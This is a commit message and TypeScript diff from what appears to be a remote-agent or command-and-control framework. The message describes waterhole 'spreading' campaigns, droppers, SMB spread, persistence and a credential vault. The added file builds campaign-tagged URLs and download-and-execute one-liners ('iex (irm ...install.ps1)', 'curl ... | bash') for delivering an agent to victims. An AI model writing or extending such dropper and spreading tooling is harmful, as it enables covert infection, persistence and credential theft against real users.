feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

server/web/src/help/emberwake.ts

@@ -0,0 +1,45 @@
+/** Campaign URL builders for Emberwake / waterhole spreading. */
+
+export function campaignQuery(campaign: string): string {
+  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
+  return slug ? `?c=${encodeURIComponent(slug)}` : '';
+}
+
+export function pinQuery(buildId: string): string {
+  const id = buildId.trim();
+  return id ? `?pin=${encodeURIComponent(id)}` : '';
+}
+
+export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
+  const parts: string[] = [];
+  const pin = pinBuildId.trim();
+  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
+  if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
+  if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
+  return parts.length ? `?${parts.join('&')}` : '';
+}
+
+export function ps1Oneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `iex (irm '${base}/install.ps1${query}')`;
+}
+
+export function shOneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `curl -sL '${base}/install.sh${query}' | bash`;
+}
+
+export function commandOneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `curl -sL '${base}/install.command${query}' | bash`;
+}
+
+export function getUrl(baseUrl: string, query = ''): string {
+  return `${baseUrl.replace(/\/$/, '')}/get${query}`;
+}
+
+export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
+  const base = origin.replace(/\/$/, '');
+  const q = campaignQuery(campaign);
+  return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
+}